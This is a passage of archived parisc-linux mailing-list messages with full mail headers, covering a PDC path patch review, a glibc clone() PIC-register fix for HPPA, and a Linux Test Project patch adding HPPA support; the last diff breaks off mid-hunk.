Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cell support and fix PCI PDC paths
Date: Fri, 29 Dec 2006 04:20:18 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <7d01f9f00612281920y35512sae142aeb431002a__14355.3589623936$1416624633$gmane$org@mail.gmail.com>
References: <20061225231328.GA5741@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624633 28335 80.91.229.3 (22 Nov 2014 02:50:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:33 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2006 03:20:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 29 Dec 2006 04:20:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 818A27D849;
	Thu, 28 Dec 2006 20:20:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07934-01; Thu, 28 Dec 2006 20:20:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C396D7D831;
	Thu, 28 Dec 2006 20:20:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB9B17D769
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Dec 2006 20:20:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07383-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Dec 2006 20:20:21 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3EDE87D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Dec 2006 20:20:21 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 04F06494154; Thu, 28 Dec 2006 20:20:21 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.171])
	by mail.parisc-linux.org (Postfix) with ESMTP id 9A1C5494115
	for <parisc-linux@parisc-linux.org>;
	Thu, 28 Dec 2006 20:20:19 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id 80so5570618ugb
	for <parisc-linux@parisc-linux.org>;
	Thu, 28 Dec 2006 19:20:18 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=KvkCEashkqkX30Xe29KA47GhmN0VCEnfvqux4W9mvuEWeIfk6NG77d8myeuzZ6GxoaGyWA5BiWeNxWiXOz5bs983EpFccWnp83MXMu2sAZ/JQ+51vP0WDcVrVa70qVqNTXy1OkRkEUcFjuzG1N/7VegeUXYfoFA/j29JOXzOO0U=
Original-Received: by 10.78.146.11 with SMTP id t11mr2165600hud.1167362418304;
	Thu, 28 Dec 2006 19:20:18 -0800 (PST)
Original-Received: by 10.78.202.18 with HTTP; Thu, 28 Dec 2006 19:20:18 -0800 (PST)
In-Reply-To: <20061225231328.GA5741@parisc-linux.org>
Content-Disposition: inline
X-Google-Sender-Auth: 6f2efda4ddb0f681
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: s7+ncX1tTXs9XKyRbmQ5dh9KRzdyMoOD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25417

Barely catching up, a couple of questions ;)

On 12/26/06, Matthew Wilcox <matthew@wil.cx> wrote:

> @@ -326,6 +335,10 @@ static void get_node_path(struct device *dev, struct hardware_path *path)
>  static char *print_hwpath(struct hardware_path *path, char *output)
>  {
>         int i;
> +
> +       if (is_pdc_pat())
> +               output += sprintf(output, "%u/", path->flags & HWP_CELL);
> +

I suppose this change needs to go in pdcspath_layer_read() as well?
(in pdc_stable.c)

AIUI that means that the 'write' procedure needs some rewrite to cope
with this additional field, doesn't it?

Put another way, changing the console/kbd/etc paths with the
pdc_stable driver with this patch applied will just harm the box,
right?

> diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
> index ea1b7a6..66afab8 100644
> --- a/drivers/parisc/pdc_stable.c
> +++ b/drivers/parisc/pdc_stable.c

> @@ -597,19 +598,28 @@ pdcs_timer_read(struct subsystem *entry, char *buf)
>  {
>         char *out = buf;
>         struct pdcspath_entry *pathentry;
> +       int timer;
>
>         if (!entry || !buf)
>                 return -EINVAL;
>
> +       /*
> +        * PDC PAT machines use the timer field for something different.
> +        * I don't know where they keep the timer field now ...
> +        */
> +       if (is_pdc_pat())
> +               return -ENODEV;

I guess the best thing would be to simply not expose the 'timer' file
in sysfs on those boxen, I'll check how to do that cleanly.

HTH, nite all ;)

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: timing bug in clone() ? [BUGFIX-PATCH attached]
Date: Wed, 03 Jan 2007 18:12:47 +0100
Lines: 91
Approved: news@gmane.org
Message-ID: <engo6f$jur$1__35288.2619751201$1416624634$gmane$org@sea.gmane.org>
References: <200612291721.53961.deller@gmx.de> <4595BBC0.2020602@tausq.org>
	<200701012047.10616.deller@gmx.de>
	<119aab440701021616q48f35673o76373519b7a23198@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1416624634 28339 80.91.229.3 (22 Nov 2014 02:50:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:34 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 17:20:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 03 Jan 2007 18:20:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA4C07DA07;
	Wed,  3 Jan 2007 10:20:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05338-08; Wed, 3 Jan 2007 10:20:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5889B7D9F9;
	Wed,  3 Jan 2007 10:20:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 53FDE7D8D6
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Jan 2007 10:20:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05338-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 3 Jan 2007 10:20:15 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4976C7D420
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Jan 2007 10:20:15 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 79BD049400B; Wed,  3 Jan 2007 10:20:14 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ciao.gmane.org (main.gmane.org [80.91.229.2])
	(using TLSv1 with cipher AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by mail.parisc-linux.org (Postfix) with ESMTP id 0A69849400A
	for <parisc-linux@parisc-linux.org>;
	Wed,  3 Jan 2007 10:20:13 -0700 (MST)
Original-Received: from root by ciao.gmane.org with local (Exim 4.43)
	id 1H29mT-0003yr-SY
	for parisc-linux@parisc-linux.org; Wed, 03 Jan 2007 18:20:01 +0100
Original-Received: from mnhm-590c0ef6.pool.einsundeins.de ([89.12.14.246])
	by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
	id 1AlnuQ-0007hv-00
	for <parisc-linux@parisc-linux.org>; Wed, 03 Jan 2007 18:20:01 +0100
Original-Received: from deller by mnhm-590c0ef6.pool.einsundeins.de with local (Gmexim
	0.1 (Debian)) id 1AlnuQ-0007hv-00
	for <parisc-linux@parisc-linux.org>; Wed, 03 Jan 2007 18:20:01 +0100
X-Injected-Via-Gmane: http://gmane.org/
Original-Lines: 84
Original-X-Complaints-To: usenet@sea.gmane.org
X-Gmane-NNTP-Posting-Host: mnhm-590c0ef6.pool.einsundeins.de
User-Agent: KNode/0.10.4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0deocVdYX1VpCOuYY2Fy08F3SDc4NMxX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25418

Carlos O'Donell wrote:

> On 1/1/07, Helge Deller <deller@gmx.de> wrote:
>> I've found the bug now... :-)
>> Patch is attached below, and the problem was not in the kernel, but in
>> glibc.
>>
>> The first hunk in the patch below ("Save the PIC register.") is the fix
>> for the arguments check which I posted before
>>
(http://lists.parisc-linux.org/pipermail/parisc-linux/2006-December/031029.html).
>> This hunk fixes LTP's clone04 test.
>>
>> The second and third hunk fixes the "return 0" bug as reported by LTP's
>> clone06 test. It first saves the current FPIC register on the child's
>> stack (to %arg0 instead of %sr0,%sp) and later reads it back from there
>> in the third hunk just before calling _exit(). That way the PIC register
>> has the correct value and exit() doesn't crashes any more.
>>
>> Now all clone()-tests from LTP succeeds :-)
>>
>> Helge
>>
>>
>> ---
>>
glibc-2.3.6.ds1/build-tree/glibc-2.3.6/debian/sysdeps/unix/sysv/linux/hppa/clone.S.org
>>      2006-12-29 08:49:25.000000000 +0100
>> +++
>>
glibc-2.3.6.ds1/build-tree/glibc-2.3.6/debian/sysdeps/unix/sysv/linux/hppa/clone.S
>>  2007-01-01 19:53:00.000000000 +0100 @@ -32,6 +32,11 @@
>>  ENTRY(__clone)
>>         /* FIXME: I have no idea how profiling works on hppa. */
>>
>> +       /* Save the PIC register. */
>> +#ifdef PIC
>> +       stw     %r19,-32(%sr0, %sp)     /* parent */
>> +#endif
>> +
>>         /* Sanity check arguments.  */
>>         comib,=  0,%arg0,.Lerror        /* no NULL function pointers */
>>         ldi     -EINVAL,%ret0
>> @@ -41,10 +46,8 @@
>>         /* Save the fn ptr and arg on the new stack.  */
>>         stwm    %arg0,64(%arg1)
>>         stw     %arg3,-60(%arg1)
>> -
>> -       /* Save the PIC register. */
>>  #ifdef PIC
>> -       stw     %r19,-32(%sr0, %sp)     /* parent */
>> +       stw     %r19,-32(%arg1)         /* save PIC on child's stack */
>>  #endif
>>
>>         /* Do the system call */
>> @@ -88,6 +91,11 @@
>>         bl      $$dyncall,%r31
>>         copy    %r31,%rp
>>
>> +       /* Restore PIC register for exit() */
>> +#ifdef PIC
>> +       ldw     -32(%sr0, %sp), %r19    /* parent */
>> +#endif
>> +
>>         bl      _exit,%rp
>>         copy    %ret0,%arg0
> 
> Ah, I found this already and fixed it in upstream. You need to submit
> this patch to debian's bts and get it applied to their fixed glibc
> version.
> 
> In the upstream versrion I allocated r4 as a temporary register
> instead of spilling to the stack and back.

yes, and I realized that you fixed it after I was finished with my patch :-(
Anyway, I filed a bugreport today at debian bts:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=405411

Of course I prefer if we can switch to your NPTL-enabled glibc as soon as
possible. But in the meantime it's maybe good to have this patch in in the
old glibc...

Helge


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PARISC] parisc-patch for Linux Test Project
Date: Sat, 06 Jan 2007 21:31:18 +0100
Lines: 247
Approved: news@gmane.org
Message-ID: <enp0um$dek$1__40125.1241834418$1416624634$gmane$org@sea.gmane.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1416624634 28344 80.91.229.3 (22 Nov 2014 02:50:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:34 +0000 (UTC)
Cc: ltp-list@lists.sourceforge.net
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2007 20:31:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 06 Jan 2007 21:31:52 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD81C7DA18;
	Sat,  6 Jan 2007 13:31:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20576-02; Sat, 6 Jan 2007 13:31:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 483BB7DA73;
	Sat,  6 Jan 2007 13:31:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 245137DA18
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 13:31:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20267-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Jan 2007 13:31:42 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 8BFF07DA15
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 13:31:42 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 4B3C5494006; Sat,  6 Jan 2007 13:31:42 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ciao.gmane.org (main.gmane.org [80.91.229.2])
	(using TLSv1 with cipher AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by mail.parisc-linux.org (Postfix) with ESMTP id D9D0C494003
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Jan 2007 13:31:40 -0700 (MST)
Original-Received: from list by ciao.gmane.org with local (Exim 4.43)
	id 1H3ICR-0005nw-5N
	for parisc-linux@parisc-linux.org; Sat, 06 Jan 2007 21:31:31 +0100
Original-Received: from mnhm-590c0fc6.pool.einsundeins.de ([89.12.15.198])
	by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
	id 1AlnuQ-0007hv-00
	for <parisc-linux@parisc-linux.org>; Sat, 06 Jan 2007 21:31:31 +0100
Original-Received: from deller by mnhm-590c0fc6.pool.einsundeins.de with local (Gmexim
	0.1 (Debian)) id 1AlnuQ-0007hv-00
	for <parisc-linux@parisc-linux.org>; Sat, 06 Jan 2007 21:31:31 +0100
X-Injected-Via-Gmane: http://gmane.org/
Original-Lines: 240
Original-X-Complaints-To: usenet@sea.gmane.org
X-Gmane-NNTP-Posting-Host: mnhm-590c0fc6.pool.einsundeins.de
User-Agent: KNode/0.10.4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: C32VLTJMZDI4DLHGdWY2/8ZxemhmY8Em
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25419

Hello * at The Linux Test Project !
CC: PARISC-Linux development mailing list

the trivial patch below is against the current CVS version of LTP and adds
missing pieces and changes which are necessary for LTP on the PARISC/HPPA
architecture.

The read04.c patch part is a real architecture-independend bugfix. The
read04 tests writes TST_SIZE bytes to a file, reads the same amount of
bytes back again and compares the contents. Naturally, it only should
verify if TST_SIZE bytes (the amount of bytes which where written!)
matches. sizeof() returns the number of bytes including the leading
zero-byte which hasn't been read back.

It would be really nice, if someone could apply this patch to the LTP CVS
sources.

Thanks,
Helge


Index: testcases/kernel/syscalls/read/read04.c
===================================================================
RCS file: /cvsroot/ltp/ltp/testcases/kernel/syscalls/read/read04.c,v
retrieving revision 1.5
diff -u -p -r1.5 read04.c
--- testcases/kernel/syscalls/read/read04.c     25 Dec 2006 00:32:54 -0000      1.5
+++ testcases/kernel/syscalls/read/read04.c     6 Jan 2007 20:19:12 -0000
@@ -105,7 +105,7 @@ int main(int ac, char **av)
                                         "expected %d", TEST_RETURN, TST_SIZE);
                                continue;
                        }
-                       if (memcmp(palfa, prbuf, sizeof(palfa)) != 0) {
+                       if (memcmp(palfa, prbuf, TST_SIZE) != 0) {
                                tst_resm(TFAIL, "read buffer not equal "
                                         "to write buffer");
                                continue;
Index: testcases/kernel/mem/shmt/shmt02.c
===================================================================
RCS file: /cvsroot/ltp/ltp/testcases/kernel/mem/shmt/shmt02.c,v
retrieving revision 1.4
diff -u -p -r1.4 shmt02.c
--- testcases/kernel/mem/shmt/shmt02.c  29 Jul 2003 19:46:14 -0000      1.4
+++ testcases/kernel/mem/shmt/shmt02.c  6 Jan 2007 20:19:12 -0000
@@ -81,7 +81,7 @@ int main()
 
 
                 /* are we doing with ia64 or arm_arch_4t arch */
-#if defined (__ia64__) || defined (__ARM_ARCH_4T__)
+#if defined (__ia64__) || defined (__ARM_ARCH_4T__) || defined(__hppa__)
                 cp = (char *) shmat(shmid, (void *)NULL, 0);
 #else          
                 cp = (char *) shmat(shmid, (void *)0x80000, 0);
Index: testcases/kernel/mem/shmt/shmt04.c
===================================================================
RCS file: /cvsroot/ltp/ltp/testcases/kernel/mem/shmt/shmt04.c,v
retrieving revision 1.5
diff -u -p -r1.5 shmt04.c
--- testcases/kernel/mem/shmt/shmt04.c  29 Jul 2003 19:46:14 -0000      1.5
+++ testcases/kernel/mem/shmt/shmt04.c  6 Jan 2007 20:19:12 -0000
@@ -107,7 +107,7 @@ if ((shmid = shmget(key, SIZE, IPC_CREAT
 else {
 #ifdef __ia64__
   cp = (char *) shmat(shmid, ADDR1, 0);
-#elif defined(__ARM_ARCH_4T__)
+#elif defined(__ARM_ARCH_4T__) || defined(__hppa__)
   cp = (char *) shmat(shmid, NULL, 0);
 #else
   cp = (char *) shmat(shmid, ADDR, 0);
@@ -185,7 +185,7 @@ else 
 {
 #ifdef __ia64__
   cp = (char *) shmat(shmid, ADDR1, 0);
-#elif defined(__ARM_ARCH_4T__)
+#elif defined(__ARM_ARCH_4T__) || defined(__hppa__)
   cp = (char *) shmat(shmid, NULL, 0);
 #else
   cp = (char *) shmat(shmid, ADDR, 0);
Index: testcases/kernel/mem/shmt/shmt05.c
===================================================================
RCS file: /cvsroot/ltp/ltp/testcases/kernel/mem/shmt/shmt05.c,v
retrieving revision 1.4
diff -u -p -r1.4 shmt05.c
--- testcases/kernel/mem/shmt/shmt05.c  29 Jul 2003 19:46:14 -0000      1.4
+++ testcases/kernel/mem/shmt/shmt05.c  6 Jan 2007 20:19:12 -0000
@@ -85,7 +85,7 @@ int main()
  } else {
 #ifdef __ia64__ 
   cp = (char *) shmat(shmid, ADDR_IA, 0);
-#elif defined(__ARM_ARCH_4T__)
+#elif defined(__ARM_ARCH_4T__) || defined(__hppa__)
   cp = (char *) shmat(shmid, (void *)NULL, 0);
 #else
   cp = (char *) shmat(shmid, ADDR, 0);
@@ -111,6 +111,8 @@ int main()
    cp1 = (char *) shmat(shmid1, ADDR1_IA, 0);
 #elif defined(__ARM_ARCH_4T__)
    cp1 = (char *) shmat(shmid1, (void *)NULL, 0);
+#elif defined(__hppa__)
+   cp1 = (char *) shmat(shmid1, cp+4096, 0);
 #else
    cp1 = (char *) shmat(shmid1, ADDR1, 0);
 #endif
Index: testcases/kernel/mem/shmt/shmt06.c
===================================================================
RCS file: /cvsroot/ltp/ltp/testcases/kernel/mem/shmt/shmt06.c,v
retrieving revision 1.6
diff -u -p -r1.6 shmt06.c
--- testcases/kernel/mem/shmt/shmt06.c  14 Jun 2004 19:14:09 -0000      1.6
+++ testcases/kernel/mem/shmt/shmt06.c  6 Jan 2007 20:19:12 -0000
@@ -51,6 +51,8 @@
 #define                ADDR1           (void *)0xA0000
 #define         ADDR_MIPS       (void *)0x80000
 #define         ADDR1_MIPS      (void *)0xC0000
+#define                ADDR_HPPA       (void *)0x10000000
+#define                ADDR1_HPPA      (void *)0x20000000
 #define        ADDR_IA         (void *)0x40000000
 #define        ADDR1_IA        (void *)0x50000000
 #define                SIZE            16*1024
@@ -111,6 +113,8 @@ int main()
                  cp = (char *) shmat(shmid, (void*) NULL, 0);
 #elif defined(__mips__)
                  cp = (char *) shmat(shmid, ADDR_MIPS, 0);
+#elif defined(__hppa__)
+                 cp = (char *) shmat(shmid, ADDR_HPPA, 0);
 #else
                  cp = (char *) shmat(shmid, ADDR, 0);
 #endif 
@@ -187,6 +191,8 @@ int child()
                  cp = (char *) shmat(shmid, (void *) NULL, 0);
 #elif defined(__mips__)        
                  cp = (char *) shmat(shmid, ADDR1_MIPS, 0);
+#elif defined(__hppa__)        
+                 cp = (char *) shmat(shmid, ADDR1_HPPA, 0);
 #else
                  cp = (char *) shmat(shmid, ADDR1, 0);
 #endif
Index: testcases/kernel/mem/shmt/shmt07.c
===================================================================
RCS file: /cvsroot/ltp/ltp/testcases/kernel/mem/shmt/shmt07.c,v
retrieving revision 1.4
diff -u -p -r1.4 shmt07.c
--- testcases/kernel/mem/shmt/shmt07.c  29 Jul 2003 19:46:14 -0000      1.4
+++ testcases/kernel/mem/shmt/shmt07.c  6 Jan 2007 20:19:12 -0000
@@ -84,7 +84,7 @@ int main()
 
 #ifdef __ia64__        
          cp = (char *) shmat(shmid, ADDR_IA, 0);
-#elif defined(__ARM_ARCH_4T__)
+#elif defined(__ARM_ARCH_4T__) || defined(__hppa__)
          cp = (char *) shmat(shmid, (void *) NULL, 0);
 #else
          cp = (char *) shmat(shmid, ADDR, 0);
Index: testcases/kernel/mem/shmt/shmt09.c
===================================================================
RCS file: /cvsroot/ltp/ltp/testcases/kernel/mem/shmt/shmt09.c,v
retrieving revision 1.11
diff -u -p -r1.11 shmt09.c
--- testcases/kernel/mem/shmt/shmt09.c  15 Nov 2006 21:11:43 -0000      1.11
+++ testcases/kernel/mem/shmt/shmt09.c  6 Jan 2007 20:19:12 -0000
@@ -68,7 +68,7 @@ int main()
        char    *c1=NULL, *c2=NULL, *c3=NULL;
        void    *vp;
        int     shmid;
-#if defined(__ia64__) || defined(__mips__)
+#if defined(__ia64__) || defined(__mips__) || defined(__hppa__)
        int     increment;
 #endif
        key_t   key;
@@ -179,7 +179,7 @@ int main()
                        rm_shm(shmid);
                        tst_exit();
        }
-#elif __mips__
+#elif defined(__mips__) || defined(__hppa__)
                increment=262144;        /* 256Kb */
                while ((vp = sbrk(increment)) != (void *)-1);
                if (errno != ENOMEM) {
Index: testcases/kernel/io/direct_io/diotest4.c
===================================================================
RCS file: /cvsroot/ltp/ltp/testcases/kernel/io/direct_io/diotest4.c,v
retrieving revision 1.18
diff -u -p -r1.18 diotest4.c
--- testcases/kernel/io/direct_io/diotest4.c    9 Nov 2006 16:34:11 -0000       1.18
+++ testcases/kernel/io/direct_io/diotest4.c    6 Jan 2007 20:19:12 -0000
@@ -546,6 +546,8 @@ main(int argc, char *argv[])
        else {
 #if defined(__powerpc64__)
                ret = read(fd, (char*)(((ulong *)main)[0] & pagemask), count);
+#elif defined(__hppa__)
+               ret = read(fd, (char*)((ulong)__builtin_return_address(0) & pagemask),
count);
 #else
                ret = read(fd, (char*)((ulong)main & pagemask), count);
 #endif
@@ -563,6 +565,8 @@ main(int argc, char *argv[])
        else {
 #if defined(__powerpc64__)
                ret = write(fd, (char *)(((ulong *)main)[0] & pagemask), count);
+#elif defined(__hppa__)
